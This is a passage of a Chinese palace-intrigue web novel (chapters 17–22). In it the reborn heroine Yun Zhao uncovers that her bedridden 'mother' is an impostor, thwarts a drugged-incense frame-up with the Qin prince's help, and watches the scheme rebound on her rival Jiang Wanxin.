“啊——!”
梅柔卿发出一声凄厉至极的惨叫!
她猛地捂住脸,踉跄后退,鲜红的血珠瞬间从她指缝间渗涌而出!
第17章 所谓母亲是假货
众**惊失色!
谁都没有料到,云昭手中的鞭子,不仅敢打老夫人身边的婆子;
也敢当着姜父的面,直朝这位在府中地位超然的“梅姨”招呼。
而且是当众扇脸!
“我的脸!我的脸啊!”梅柔卿痛极崩溃,尖声哭嚎。
“毒妇!你竟敢伤梅姨!”姜珩目眦尽裂,喝骂一声,欲冲上前。
“疯了!她真的疯了!”姜绾心吓得花容失色,死命拽住姜珩的衣袖,躲到他的身后。
老夫人气得几乎晕厥,浑身哆嗦指着云昭:“反了!反了!给我拿下这孽障!请家法!乱棍打死!”
姜父脸色铁青,喊来下人:“速去杏林堂,请翟大夫过来,为梅氏看伤。”
他转眸看向云昭,目光沉痛,透着失望:“阿昭,你做得太过了。”
他语气沉重,“梅娘子于贵妃娘娘有恩,昨日娘娘下诏,言明三日后宣她入宫觐见。你将她的脸伤成这样,届时娘娘若是问起,只怕……爹也保不住你。”
姜珩恨意滔天地盯着云昭:“父亲,她今日在长公主府内,曾以金针妙手修补殿下的羽簪,更为殿下施针缓急症。
这祸既是她闯下的,何必再劳烦他人?就让她亲自为梅姨诊治!
若治不好,贵妃娘娘怪罪下来,也是她咎由自取!”
“还愣着作甚?”老夫人命道:“得罪了贵妃娘娘,咱们阖府都要遭殃!你既会那劳什子金针,还不快过来医治!”
姜绾心咬着唇,默不作声地看着云昭。
她拉不下脸面去求云昭,但她若真能治好梅姨的脸,大不了让父亲多赏她些东西便是。
可若是治不好……
她“医术不精、蓄意毁容”的恶名,不日便会传遍京城。
什么小医仙?不过是秦王色令智昏,为了捧她随口胡诌的罢了。
姜世安也将信将疑地看着云昭:“阿昭,你……真的能治?”
云昭缓步上前,神色漠然地俯视着痛得蜷缩在地的梅柔卿。
“想让我治,可以。”她声音冷若冰霜,“须得以金针缝合皮肉,且过程中,绝不能使用麻沸散止痛。”
她目光掠过众人,最后落在梅柔卿惨白的脸上:“你们不妨问问她,可敢让我动手?”
梅柔卿抬眸,撞进云昭那双冰冷彻骨的眸子里,恍惚间,竟似看到另一张充满恨意的脸……
那张脸也曾这样俯视着她,厉声咒骂:梅柔卿!我等着看你的下场!你定会不得好死!满门绝灭!
梅柔卿狠狠打了一个寒战,猛地抱住头,失声尖叫着在地上翻滚起来:“不!我不要她治!我不要她碰我!翟大夫!快找翟大夫来救我!”
云昭冷眼看着梅柔卿状若疯癫、哭嚎翻滚的模样,眼底没有半分波澜。
“父亲。”云昭语气平淡,“是她信不过我的医术,并非我不肯医治。”
姜世安脸色铁青,太阳穴突突地跳。
一场家宴闹到如此地步,实在让人头疼!
他冷声道:“今日之事,到此为止。珩儿,”他看向姜珩,“即刻去祠堂跪着!没有我的允许,不得起来。”
姜珩猛地抬头,脸上闪过一丝错愕与不甘:“父亲,梅姨她……”
“她自有翟大夫照看。”姜珩沉声道,“你如今该反思的是你自己。”
他又看向老夫人,语气缓和却依旧决断,“母亲,您受惊了,先回房歇息,翟大夫稍后也会去为您请脉安神。”
不等老夫人反驳,他已转向杨氏和下人们:“扶梅娘子回房等候翟大夫。其他人,收拾干净。”
最后,他看向云昭,神色复杂,沉默片刻才道:“阿昭,你心心念念要见你母亲,且跟我来。”
*
望舒苑。
这是云昭第一次踏入母亲苏氏的居所。
院落坐落于府邸最北隅,与“栖梧苑”相去甚远。
院中草木倒是葳蕤,一株高大的桃树正簌簌落着花瓣,庭院清扫得极为洁净,却透着一股人烟稀少的冷清。
姜世安在一旁温声解释:“你母亲素性喜静,加之大夫再三叮嘱需精心调养,故而身边只留了一位嬷嬷并两个侍女近身伺候。
这庭院……每日自有粗使下人前来洒扫整理。”
他略作停顿,声音压低了些:“这个时辰,你母亲想必已经安歇了。”
言罢,他抬手推开那扇紧闭的房门。
云昭紧随其后,迈**内。
一股混杂着浓重药味的沉闷气息扑面而来。
云昭闻到这股气味,心头陡然一沉,脑海里飞快闪过当时的情形……她紧抿着唇,跟在姜世安身后走了进去。
屋内光线极其晦暗,仅门边一张长条案几上燃着一盏孤灯,豆大的火苗勉强驱散一
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小片黑暗。
一名侍女无声地向姜世安行礼。
床榻边,一位身形干瘦的老嬷嬷闻声站起,她的目光越过姜世安,直直落在云昭脸上。
那眼神浑浊而阴沉,带着毫不掩饰的审视。
姜世安道:“这是云昭,今日刚寻回府,往后她便是府上的大小姐。”
老嬷嬷脸上毫无波澜,木然行礼:“大小姐。”
云昭的视线投向床榻。
帷幔深处,躺着一名女子。
面色是一种久不见日光的灰白,气息微弱,乍一看去,确是一副沉疴缠身、卧床已久的模样。
姜世安趋前两步,声音放得极轻,仿佛怕惊扰了什么:
“**,你看谁来了?是阿昭,我们的女儿阿昭,我把她寻回来了。”
床上的女子眼睫颤动了几下,却并未睁开,喉咙里发出模糊的咕哝声,像是被浓痰阻塞着。
“阿昭……”她极其含糊地重复了一下这个名字,随即道,“知道了。”
短暂的沉默后,她竟又问:“心儿呢?”
姜世安忙道:“你想心儿了?我这就让人去唤她来陪你。”
“不必了。”女子声音虚弱,“心儿那孩子一向怕黑……明日,明日一早再让她来。”
言辞间,对云昭这个刚刚归来的亲生女儿,竟无半分多余的问询与关切。
云昭静立一旁,默然不语。
姜世安又柔声叮嘱了几句,这才带着云昭退了出来。
掩上门,他看向云昭,语气带着几分宽慰:“你母亲病得久了,神思时常昏沉。
这些年多是心儿在身边侍奉汤药,她一时惦念心儿也是常情,并非不记挂你。”
云昭依旧沉默,脸上看不出什么情绪。
姜世安叹了一声,语气愈发恳切:“阿昭,你是我与你母亲的亲生骨肉,这些年你流落在外,为父无一日不心中记挂。
如今天意垂怜,让你重回姜家,为父定会好好补偿你,必不叫你往后受半分委屈。”
云昭神色淡淡,只应了一句:“多谢父亲。”
姜世安看着她这副油盐不进的模样,似是无力地叹了口气,挥挥手:“罢了,你也累了,回去好生歇着吧。”
云昭依言转身,一语不发地离去。
姜世安站在原地,目送着她纤细却挺直的背影消失在夜色回廊尽头,目光幽深难辨。
第18章 **不见血!
返回栖梧苑的小径幽深寂静,唯有夜风轻拂过枝叶的沙沙声。
云昭面色平静,指尖却无意识地收紧。脑海中惊鸿一瞥那幕不断浮现——
厚重的衾被,枯槁的手,尤其是那阵古怪而浓重的药气。
她自幼随师**医,五岁能辨百草,七岁便可独立开方,对药息之气敏锐异于常人,绝不会错辨。
所以……方才在竹林中被匆匆抬走的,才是她真正的母亲苏氏。
而房中那个脸上涂了**、装得似乎重病缠身的“苏氏”,不过是个粗劣的替身!
一股冰冷的、近乎讽刺的明悟席卷了她。
愤怒?或许有,但更多的是一种“果然如此”的苍凉。
嫡亲兄长都能毫不犹豫地屠尽她师门,将她锁在不见天日的暗室抽骨吸髓,百般折磨,这姜府上下,从老夫人到父亲,哪一个不是心偏得没边,凉薄入骨?
他们做出任何事,她都不会再惊讶了。
他们一心偏宠姜绾心,那个所谓“父母双亡、寄人篱下”的孤女……若她所料不差,姜绾心根本不是什么孤女,极可能就是姜世安与梅柔卿的私生女!
就是不知,她那位将姜绾心疼惜入骨的好兄长,知不知道这一层?
云昭压下心头的翻涌,她不能急。
她归来京师,不是为了一时意气。
不论向姜家复仇,还是追寻苏氏的踪迹,她都需要明确的计划和强有力的盟友。
“姑娘。”莺时觑着云昭的脸色,笨拙地安慰,“您千万别往心里去。我娘当年病重糊涂时,也是连我都不认得的。
夫人她……她心里定是疼您的,这世上,哪有不疼儿女的爹娘呢?”
云昭却忽地轻笑了一声,侧头看她:“莺时,你今日初见父亲,你觉得,他疼爱我吗?”
莺时张了张嘴,答不上来。
姜世安今日在公主府,竭力推诿的模样犹在眼前,最终认下姑娘,难说不是被形势胁迫;
回到家中,府中上下对姜绾心的偏疼呵宠,更是**以为常,毫不掩饰。
莺时自小在公主府长大,接触各种人事颇多,对府中众人尤其姜父的行径,她看得分明。
云昭目光转向远处朦胧的灯火,声音平静得近乎淡漠:“不必为我忧心。从未指望过的东西,自然也不会生出失望。”
她曾有过期望,也曾全然信过。
但那代价太过惨烈,如今归来京城,每一步,都是在弥补过失。
她对莺时道:“亲人二字,从来不止血脉相连一解。风雨同路,相互扶持者,有时远比血脉至亲,更配得上‘亲人’之称。”
主仆二人相互搀扶着走回庭院,远远便瞧见严嬷嬷抱着那只受伤的小黄狗,正焦急地等在院门口。
见她们回来,严嬷嬷明显松了口气:“再不回来,老奴真要去前头寻人了!”
莺时见小黄狗在严嬷嬷怀里睡得香甜,不由嘟囔道:“那梅娘子还不让咱们姑娘治,正好!”
方才当着那些人的面,她生怕姑娘心软,会给梅娘子治脸。
小黄狗刚抱回来时,后腿血肉模糊,也不知姑娘使了什么神通,金针轻轻几下,便愈合如初。
莺时想,难怪秦王殿下管他们姑娘叫“小医仙”呢!
这般厉害的医术,可不就是神仙吗?
严嬷嬷瞧出两人神色有异,急道:“可是出了什么事?老奴早说了,今晚该跟着去的!姑娘偏不让!”
院门落锁,三人走进院内。
云昭却忽然停步,转身压低声音问道:“嬷嬷,咱们这院里,眼下共有多少人伺候?”
严嬷嬷一怔,虽不解其意,仍如实回道:“除老奴与莺时,还有两个做粗活的二等丫鬟,一个守院门的婆子,再就是先前替姑娘跑腿买药的那个小丫头了。”
云昭点了点头,夜色中她的目光清亮而冷静:“今晚,你和莺时都到我房里来,与我同睡。”
有些人今日吃了亏,一入夜,怕是迫不及待要扳回一局呢!
两人皆是一愣,但见云昭神色凝重,均毫不犹豫地点头应下。
*
灯火摇曳,映照一室昏黄。
云昭默然收起那三枚用于占卜的铜钱,在案前**了许久,指尖冰凉。
卦象显示,苏氏尚在人间,然命
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星黯淡,正处在生死一线的危急关头,但若得“贵人”襄助,会有凤凰浴火的转机!
她抬眸,看向一旁陪坐的严嬷嬷:“嬷嬷可还记得,我母亲是从何时起,便不再于京中宴会上露面了?”
严嬷嬷凝神思索了良久,摇了摇头:“时日太久,老奴有些记不清了……但细细想来,总该有个四五年的光景了。”
原来如此。
苏氏病重,是一场漫长的阴谋。
若非云昭命悬一线又活着归来,若非她借势秦王、取信长公主得以认亲归家,他们恐怕会让苏氏就这样一直“病”下去。
将真正的主母悄然囚禁在某个角落,用药物吊着一口气,只待姜绾心风风光光嫁入东宫。
而在此过程中,梅柔卿则彻底取而代之,摇身一变成了这府中心照不宣的“女主人”——
从容享受着婆母的包容,姜世安的宽纵,姜珩、姜绾心兄妹俩的孝敬与亲近。
她算哪门子的“客居”?
分明是一条寄生在苏氏身上喝血吃肉的毒蛭!
只待姜氏兄妹前程落定,苏氏被榨干了最后一丝价值,便可以顺理成章地病逝。
好一招**不见血的慢性绞杀!
云昭眼底瞬间凝起一层冰霜……姜世安行色匆忙现身家宴,恐怕正是忙于安排此事——
忙着找一个合适的替身,忙着让假苏氏当着她的面,演好那出“病重思女”的戏码!
他算准了自己在目睹“母亲“病重之际仍只念着姜绾心,回彻底心寒,对这所谓的“生母“彻底失望,从此对苏氏不闻不问。
前世她被囚于暗无天日的密室,受尽抽骨吸髓之痛;而母亲也在被他们榨干最后一丝价值,最终“重病”而亡。
她们母女的尸骨,成了姜绾心一步步踏上青云路的垫脚石!
这一世她既得重生归来,就绝不能再让母亲重蹈覆辙。当务之急,是必须尽快找到母亲真正的所在!
她要让母亲彻底摆脱这个**的牢笼,拿回本该属于她的荣光与嫁妆,过上真正安稳尊荣的生活。那些吸血的蛆虫,一个都别想再碰母亲一根手指!
第19章 定叫姑娘倒大霉
云昭平复心绪,取过黄纸,端坐案前。
她落笔如有神助,不过片刻功夫,四道朱砂符箓便已书写完毕。
将符纸递给莺时,吩咐道:“去,将正门与窗户都贴上。”
莺时欲言又止,接过前去张贴。
严嬷嬷在一旁瞧着,心头微动,厚着脸皮凑近道:“姑娘,老奴有个不情之请,想替我那儿媳,求一道平安符。”
今日在公主府,旁人或许未曾留意,但她们这些常年侍奉长公主的老人却都知晓,长公主殿下,格外珍惜云姑娘相赠的那道黄符呢!
严嬷嬷活了大半辈子,自认眼力不差,这位“小医仙”,确实有些神通。
她此番愿意跟来姜府,既是长公主之命,也是存了私心,想为自家谋份福缘。周嬷嬷当时还笑她是“老滑头”呢!
云昭抬眸,静静看了严嬷嬷片刻,轻声道:“儿媳既是双身子,平日便莫要让她过于劳碌了。”
严嬷嬷闻言一惊。
她儿媳怀孕还不满三个月,这喜讯她连最为要好的周嬷嬷都未透露。
姑娘居然一眼就看穿了?
云昭并未多言,提笔画就一道安胎符,递过去:“置于枕下,待有了好消息,记得请我吃红鸡蛋。”
历来只有孩儿平安降生,才会请邻居友人吃红鸡蛋。
严嬷嬷将云昭这句当成赐福的吉祥话,连声应下,如获至宝地将黄符仔细收入贴身的荷包里,心中又惊又喜。
恰时,莺时回来复命,符箓皆已贴好。
她脸上却不见轻松,反而忧心忡忡:“姑娘,若那梅娘子的脸当真治不好了,后日进宫,贵妃娘娘会不会迁怒于您……”
当时见姑娘拒绝施针,莺时其实心里觉得痛快,可如今细想姜父的话,却越想越是后怕。
云昭正调制一味药粉,闻言并未抬眼:“嬷嬷,您在京中时日久,可曾听过这梅娘子的事迹?”
严嬷嬷略一思索,回道:“倒是听得一些风声。
说是前阵子贵妃娘娘去宝华寺进香,不知从哪蹿出一只发了狂的野畜,险些惊了凤驾。
是这位梅娘子挺身而出,徒手便将那畜生给制住了。听说,贵妃娘娘回宫后,便有意要为她请赏呢!”
“宝华寺?”云昭手中动作微顿,提出疑问:“那不是皇家寺院?如何会有猛兽闯入?”
严嬷嬷摇头:“这老奴就不清楚了。”
“只听闻当时情形万分惊险,那梅娘子看似柔柔弱弱,却以一枚金簪隔空掷出,精准地刺中了那畜生的眼睛,这才救下了贵妃……”
云昭若有所思。
莺时却愈发焦虑:“贵妃出身范阳孟氏,入宫十年,宠冠后宫,若梅娘子真得了她的眼缘,只怕日后……”
闻言,严嬷嬷脸上也流露出担忧之色。
“小小年纪,太操心可容易长不高。”
云昭放下药杵,“都别多想了,去睡觉。”
主仆三人正欲歇下,门外却忽然传来轻轻的叩门声。
莺时开门一看,居然是先前那个负责跑腿买药的小丫头。
不一会儿,莺时便领着她走了进来,面色有些不豫:“姑娘,她说……是来讨赏钱的。”
那小丫头“噗通”一声跪倒在地,结结实实磕了个头,双手将一物举过头顶:
“姑娘,奴婢方才瞧见有人鬼鬼祟祟往咱们院墙的狗洞里塞了这个。”
她顿了顿,声音压得更低,“还听见那两人嘀咕,说约莫一炷香后便可‘收网’,定叫姑娘倒大霉……”
严嬷嬷凑近一看,当即脸色大变:“脏心烂肺的下作东西!竟用这等腌臜手段!”
莺时不明所以,但见严嬷嬷如此反应,也知绝非好事,跟着心头一紧。
云昭目光落在那小丫头身上:“狗洞在何处?带我去看。”
一行人悄声来到院墙角落的狗洞处。
云昭蹲下身,仔细察看片刻,又伸手在洞口附近摸了摸,问道:“这迷香,是你捻灭的?”
小丫头点头:“闻着味儿冲,不像好玩意儿。”
云昭又问:“这院里,可还有类似的狗洞或是缝隙?”
“没了。”小丫头摇头,“年前大修时,其他洞都堵**,就剩这一个。”
云昭自荷包里取出刚搓好的药丸,逐个递给三人:“含在舌下。”
今夜这出手之人,招数也真没什么新鲜的——
才新调制的药丸,这就派上了用场。
三人看着云昭含药丸的动作,有样学样,也都含在舌下。
随后,她取出火折子
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,重新将那半截迷香点燃,小心放回狗洞原处。
做完这一切,她从容刚起身,只淡淡吐出两个字:“回屋。”
三人面面相觑,虽满心疑惑,还是立刻跟着她退回屋内。
“服下药丸,便不受迷香影响。”云昭简单解释道。
又看向那小丫头,“你想要什么赏?”
小丫头再次规规矩矩跪下,给云昭磕了个头:“求姑娘给个差事,赏碗饭吃。奴婢想赚钱,给娘亲治疯病。”
云昭沉吟片刻:“你可以留下。在我这儿当差,只需记住一点:忠心。缺钱或是遇上难处,可直接告诉我。”
小丫头却道:“奴婢不贪心,只求姑娘每月按时发放月例银子便心满意足。”
“好。”云昭看着小丫头,“从今往后,你就叫雪信。”
莺时和严嬷嬷回过味儿来,方才恍然大悟——
原来姑娘方才让在门窗之上张贴符箓,并非为了辟邪,而是早就算到夜间必有宵小之徒前来作祟,提前布好了局!
莺时急切道:“姑娘,可需要奴婢在门后安置些能发出声响的机关?”
严嬷嬷也提议道:“要不,还是分开守夜吧。老奴虽上了年纪,精神不比年轻人,但守着前半夜绝无问题。”
新得了名字的雪信也双目灼灼地望向云昭,只待吩咐。
云昭却只是淡然一笑:“都不必。你们三人今夜只管安心睡下。”
她语气笃定,带着一丝不易察觉的玩味,“明日一早,自有好戏登场。”
莺时脸上仍带着些许担忧,但严嬷嬷经历了方才赠符之事,心中已对云昭生出十分的信服。
她一把拉住莺时和雪信,语气坚决:“就听姑娘的!咱们都去歇着,养足精神,明日且看姑娘如何安排!”
*
夜色深沉。
“吱呀——”一声轻响,房门被人从外推开,打破了满室寂静。
云昭只听门外传来两声闷响,似是重物软倒坠地,随即一切又归于沉寂。
她坐起身,指间悄然捏紧一张符箓,另一手无声按上腰间银鞭,刚移至门边,忽觉身后一道冷风掠过!
银鞭破空甩出,却并未传来击中的实感——
鞭梢竟被人于黑暗中精准无误地牢牢握住!
第20章 去偷女子的小衣
云昭指尖符咒骤燃,门窗的符咒随之燃起幽蓝火苗,对方反应却快得惊人,修长手指并拢如刀,随意一拂,接连亮起的两簇灵火便无声熄灭。
紧接着,一声低沉的轻笑荡入耳中,带着几分慵懒的戏谑:“招数倒不少。还有么?”
云昭骤然松懈下来,蹙眉道:“……殿下?”
来人正是秦王萧启。
他高大的身影融入昏暗的光线中,俊美的脸轮廓分明,语气透着一丝不易察觉的兴味:“怎么,顺利认亲,回了姜家,便打算将本王与约定一并抛之脑后了?”
云昭定了定心神:“我的婢女……”
“点了穴,睡得好得很。”
萧启答得干脆,向前逼近一步,周身那股无形的压迫感随之弥漫开来:“云姑娘,是否该给本王一个合理的解释?”
云昭后退一步,回答道:“并非不想履约,我原打算明日一早便前往王府……”
“明日一早?”萧启冷哼了声,声线里明显掺入不满:“本王今日一整日未曾施针,你身为医者,竟毫不挂心病人病情,还欲拖延至明日?”
云昭一时无言。
初见时只觉得这位秦王与坊间传言如出一辙,冷冽迫人,今夜不知怎的,却仿佛换了一副面孔……
没的,缠人得很。
“那殿下意欲如何?”
“即刻施针。”萧启命令道,不容置疑。
云昭瞥向院外:“殿下,我此处亦有麻烦亟待处理,可否……”
“用不着你操心。”萧启甚至未回头,只提高了些许声调,“墨一。”
一道黑影如鬼魅般,悄无声息地现身于院中,躬身待命。
“哪来的,扔回哪去。”萧启语气淡漠。
黑影领命,利落地拎起地上昏迷不醒的两人。
不料其中一人身上,竟飘落一件色彩鲜妍的女子衣物。
墨一动作一僵:“……”他迟疑着,未敢触碰。
云昭瞥了一眼:“不是我的。”她顿了顿,“但也可能是今天白日送到我院中,意图构陷。”
萧启闻言,周身气息骤然一冷:“知道该如何处置了?”
墨一硬着头皮:“……属下明白。”
他堂堂秦王府影卫首领,处理宵小之徒本是分内之事,但这等污秽手段……竟还要他以牙还牙,去偷女子的小衣?
他嫌弃地拎起那两个软瘫的男仆,凌空抖了抖,见再无它物掉落,便如同拎着两袋垃圾般,瞬间消失于原地。
萧启这才转回视线,目光重新锁在云昭身上,周身迫人的气势收敛:“现在,可以为本王医治了?”
云昭环顾屋内,蹙起眉心。
今日仓促整理,终究还是简陋了些。
若日后秦王殿下夜夜前来……总不能一直在此施针,还是单独辟出一间净室更为妥当。
她正思忖着,却听萧启先开了口,语气里带着毫不掩饰的嫌弃:“收拾你的东西,去隔壁。”
未等她回应,萧启淡声唤道:“墨七。”
话音落下,三道黑影如鬼魅般悄无声息地现身于房内,为首之人躬身抱拳:“殿下。”
“将隔壁房间收拾出来。”萧启命道。
三人动作迅捷如风,不过片刻功夫,隔壁便已收拾停当,一张木桌被擦拭得光洁如新。
云昭引萧启入内,请他于桌边坐下,轻声道:“请殿下除去外衫。”
她转身抱来一叠用具,在香炉中点燃一支宁神的熏香,清雅的香气缓缓弥漫开来。
萧启的目光掠过她怀中那堆显然精心准备的器物,眸色微深,流露出些许探究的意味。
“殿下?”云昭见他未动,出声提醒。
萧启抬眼睨她:“之前,似乎只需针灸手臂?”
“此前十日是为殿下稳住根基。”云昭耐心解释道,“从今日起,需进入下一阶段,拔除深植的恶诅。此法……会耗费不少心力。”
这也正是原本她决意明日再去王府的原因,
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这一套流程下来,绝非易事。
萧启闻言,不再多言,抬手利落地解开衣襟。
玄色锦袍散开,露出线条分明、肌理流畅的胸膛,强悍的腱子肉与蓄势待发的力量感,与他俊美如玉的容颜充满了反差。
云昭的目光在他心口处凝定片刻,随即屏息凝神,指尖金芒一闪,开始落针。
她运针如飞,声音却平稳清晰,一字一句落入萧启耳中:
“殿下身中七重恶诅,盘根错节,宛若附骨之蛆。需得逐一寻出,引导化解,方能根除。”
“此前我嘱托殿下置于王府各处的符引,可已安置妥当?”她手下未停,口中问道。
“嗯。”萧启阖着眼,喉间逸出一声低沉的应答。
“好。”云昭语气沉静,“今夜,便为殿下拔除第一重恶诅——蚀元。”
金针精准刺入穴位,她继续道:“此钉只要存在,就能不断蚀耗殿下本源元气。
不论殿下召集多少名医,进补多少灵药,精气皆会源源流逝。”
音落,她以金针封锁萧启前胸后背数处大穴。
不多时,只见一股肉眼难以察觉的阴沉黑气,在他皮肤下急速窜动,最终被云昭以精妙绝伦的针法步步逼退,锁死于指下方寸之间。
随着她最后一针精准落下,那缕顽固盘踞的黑气,如被无形之力抽出,骤然消散于空中。
萧启只觉得心口蓦地一松,一股温润平和的暖流自丹田深处涌起,迅速涌向四肢百骸。
所经之处,如冻土遇春阳,通体舒泰。
就连往日里蕴藏在经脉深处的陈年隐痛,也随之减轻了不少。
“自今日起,殿下的身子方能真正开始吸纳药力,逐步恢复。”
施针完毕,云昭脸色发白,额角沁出细密汗珠。
她迅速起出金针,身形几不可察地晃了一下。
萧启倏地睁开眼,捕捉到她那一瞬的虚弱,他几乎立即起身,下意识便欲伸手扶她。
第21章 心儿没脸活了!
云昭却已稳住身形,避开他的动作,声音虽轻却清晰:
“殿下还记得回府后该如何做吧?切记,无论发现何物,需以黑布包裹,待我亲自处置。”
萧启收回空落落的手,一时神色莫测。
云昭抬眼望向他,长睫轻颤:“殿下,我有一事相求。”
萧启感知着体内久违的松快与暖意,目光幽深地锁在她略显苍白的脸上:“讲。”
云昭强撑着几乎要涣散的心神,声音虽轻却清晰:“我母亲苏氏,恐已被姜家秘密转移出府,如今下落不明,生死未卜。”
她以指尖蘸取杯中残茶,在桌面上迅速勾勒出一个方位:“依卦象所示,她应被送往这个方向。”
“我对京城不熟,殿下若朝这个方向寻人,可寻近水火的地方,应当能较快锁定具体位置。”
“水火?”乍一听,让人很难理解。
云昭思索道:“江河湖泊是水,温泉也是水;至于火,后厨、丹房这些,皆可算火。”
她顿了顿,朝萧启行了一礼,“只求殿下能助我寻得真相,不论结果是生是死,云昭必铭记此恩。”
萧启看着她强打精神的模样,淡声道:“感激的话不必说太早,本王也有一事,需你去做。”
他自怀中取出一枚小巧却精致的铁盒,递给云昭:
“后日,太后于宫中设花神宴,京中贵女皆在受邀之列。你将此物,亲手交给一位姓阮的妃嫔。”
“姓阮?”云昭重复确认。
“放心,“萧启唇角勾起一抹似有若无的弧度,“你不会认错。当今陛下后宫之中,唯有一位妃子姓阮。”
他顿了顿,又道:“若在宫中遇到难处,她是可信之人。”
云昭将小盒收好,郑重应下:“我记下了。”
她脚步踯躅,没有立即离开,终是再次开口:“还有一事……姜绾心与梅柔卿二人,殿下可否费心,派人细查其根底?”
“怀疑姜绾心的身世?”萧启几乎是立刻明白了她的意图,颔首道,“可。”
“我会派人去查。”他挑眉,语气透出一丝并不明显的调侃:“不过,此事需算你欠本王一个人情。”
云昭此刻已无暇也无心争辩,点头应承:“好。”
话音落下,那强行提着的最后一口气仿佛骤然散去。
过度透支的体力与心神的反噬如潮水般汹涌袭来,云昭只觉眼前景物开始微微晃动……
强烈的晕眩与疲惫感几乎要将她吞没。
她不再多言,转身快步走向自己的房间。
甚至在萧启还未及再开口之时,便已迅速合上门扉,将一切隔绝在外。
几乎是身体触碰到床榻的瞬间,意识便沉入了无边黑暗,陷入了沉眠之中。
*
次日清晨,一声尖叫划破了尚书府的宁静。
两个昏迷不醒的粗使男仆,竟被发现在姜绾心的院中!
更令人骇然的是,他们身上赫然揣着一件质地精良的女子小衣,一看便知绝非婢女所用之物。
姜绾心小脸惨白得毫无血色。
她站在一张绣凳上,手扶着梁上垂下的纱幔,整个人摇摇欲坠:“让我**干净!祖母,爹爹,兄长……恕心儿今生不能再尽孝了!我没脸活了!”
阖府都被惊动而来。
“都愣着做什么?”
老夫人被簇拥着赶来,见这情形,连连跺着拐杖喊道,
“快!快把心儿给我扶下来!我的乖乖心肝儿,你可不能想不开啊!”
姜绾心嘤嘤哭着,泪水浸透了手中的丝帕,仿佛随时都会晕厥过去:“祖母!您就让心儿去吧!”
姜珩步履踉跄地匆匆赶来,他跪了一夜祠堂,面色极差。
见此情形,他更是肝胆俱裂,一个箭步冲上前,强行将姜绾心从凳上抱了下来。
声音都发了颤:“心儿!你怎么这般傻!万事有兄长在,岂容你受这等委屈!”
老夫人见状,又是后怕又是震怒,一股邪火直冲顶门,厉声喝道:“查——!”
“立刻给我查清楚!这起子脏心烂肺的下作东西,还有这脏污物件,究竟是哪个院里爬出来的祸害!”
杨氏眼神闪烁,一直低着头降低存在感,此时却忍不住
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偷偷朝云昭的方向瞥去一眼。
孰料,云昭唇角正噙着一抹似笑非笑的弧度,目光恰好将她的小动作逮个正着。
昨夜见到雪信搜出的那截迷香时,云昭便已料到:
能使出如此蠢钝又急切的手段,在这姜府后院之中,除了她这位“好二婶“杨氏,怕是再也找不出第二个人了。
杨氏心头猛地一悸,像被针扎了一般,火急火燎地缩回视线,再不敢乱看。
站在云昭身旁的莺时,脸上虽强作镇定,心里早已将这杨氏翻来覆去骂了无数遍!
这姜家从上到下,果然没一个好东西!
若不是姑娘早有防备,心思缜密,此刻被众人围观、沦为笑柄的可就是她们栖梧苑了!
真若到了那一步,以姑娘刚刚归家的处境,只怕会比现在的姜绾心艰难百倍!
不多时,管事的嬷嬷便来回话:“回老夫人,已差问清楚,这两名男仆是后院负责洒扫的杂役。
小衣……是日前为心儿小姐院内新裁的衣裳,还未曾上身穿过。”
云昭闻言,几不可察地轻挑了下眉梢:
看来昨夜秦王手下那位“墨一“,行事还挺讲究。
不愿去搜罗姜绾心的贴身之物,竟是顺手从她院里放置新衣的厢房中,取了件未穿过的衣裳来充数。
倒是……可惜了。
果然,杨氏闻言,“扑通“一声跪倒在地,急声辩白:“母亲明鉴!定是这两个杀才猪油蒙了心,手脚不干净!
媳妇这就将这两人重重打一顿,撵出府去,永不录用!”
“胡闹!”老夫人断然否决,语气阴沉,“现在大张旗鼓地撵出去,万一泄露些风言风语,坏了心儿的名声,这个节骨眼上,你能担待得起?”
杨氏闻言,彻底慌了神:“是,是,母亲所言极是!那……那该如何是好?”
“人不能留,也不能放。”一个沉稳却隐含雷霆之怒的声音插入。
姜世安大步流星地赶来,面色铁青,目光如刀般刮过杨氏:
“即刻将这两个奴才灌了哑药,秘密送去北山矿场做苦役!”
第22章 入宫衣裳你自己缝吧!
灌了哑药送去北山矿场……那便是有去无回了。
杨氏唯唯应是,冷不防打了个寒颤。
姜世安盯着杨氏,语气冰冷:“弟妹,你此前代掌中馈,竟出如此纰漏,实在令人失望……”
杨氏不敢流露出半分不满,只一味地磕头认错,扮足可怜:
“大伯教训的是!是弟媳无能,疏于管教!弟媳日后定当严加管束,绝不再出半分差错!”
姜世安以一种洞悉一切的眼神冷冷地看着她。
沉默片刻,忽然话锋一转:“心儿年纪也不小了,即将出阁,是该学着如何执掌中馈、料理家务了。”
他目光转向一旁被姜珩护着、仍在啜泣的姜绾心:“即日起,便让心儿跟你一同管家。你也多费心,好好教导她。”
杨氏一愣,随即立刻反应过来,连声应和:“该当的!该当的!心儿聪慧,定然一学就会!”
众人皆心照不宣地交换着眼神,都以为这是姜父心疼女儿,在为姜绾心日后嫁入东宫、执掌宫务铺路。
方才的阴霾顿时一扫而空,院内气氛顿时变得喜庆起来。
姜绾心闻言,泪痕未干的双眼顿时绽放出惊喜的光。
这两日所有的不甘、愤懑、委屈,都被这份突如其来的重视与偏爱抚平。
她连忙屈膝,声音带着恰到好处的哽咽:“是!女儿谨遵父亲吩咐,定用心向二婶学习,绝不辜负父亲期望!”
不远处,面覆轻纱的梅柔卿也柔声开口,语气欣慰:“恭喜心儿小姐,这可是天大的体面与福分,日后必定是一位贤德淑良、堪当大任的主母。”
跪了一夜祠堂、脸色尚且苍白的姜珩,此刻也忘了疲惫,眼中满是与有荣焉的骄傲,仿佛姜绾心已然手握凤印。
一片和乐融融的氛围中,云昭静立一旁,如一个置身事外的看客,唇角勾起一抹冷淡的弧度。
姜世安仿佛这时才想起云昭。
转向她道:“阿昭,后日太后娘娘在宫中设花神宴,届时你和心儿一同入宫。
宫里规矩繁琐,让你妹妹得空与你分说清楚。
你们姊妹俩多年未见,正好借此机会多多亲近,增进些情分。”
姜绾心立刻接话,语气天真又带着自然的娇气:
“爹爹,我在玲珑阁订做了衣裙,还有想容楼的首饰,今日正好该去取了。入宫见贵人,总不能失了礼数……”
梅娘子轻轻颔首,表示赞同。
随即像是才想到云昭,目光怯怯地扫了她一眼:“大小姐初回京城,这些想必都还未及准备……时间这般仓促,怕是有些来不及呢?”
“这也不难!”杨氏快人快语道:“京中顶好的成衣铺子又不止一家,大小姐刚回来,正好今日出去转转,多见见世面也是好的。”
姜父挥了挥手,显得有些不耐烦:“这些女儿家的琐事,你们自行商议安排便是。”
